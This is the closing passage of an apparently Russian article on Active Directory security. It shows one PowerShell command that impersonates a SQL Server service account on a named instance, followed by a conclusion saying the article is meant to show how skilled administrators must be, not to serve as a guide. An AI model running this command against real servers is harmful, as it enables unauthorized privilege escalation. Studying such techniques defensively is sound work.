Invoke-SQLImpersonateServiceCmd -Instance MSSQLSRV04 \ BOSCHSQL

Заключение

Напоследок хотелось бы отметить, что эта статья задумана не в качестве руководства к действию. Она лишь показывает, насколько компетентными должны быть системные администраторы, обеспечивающие безопасность в среде Active Directory.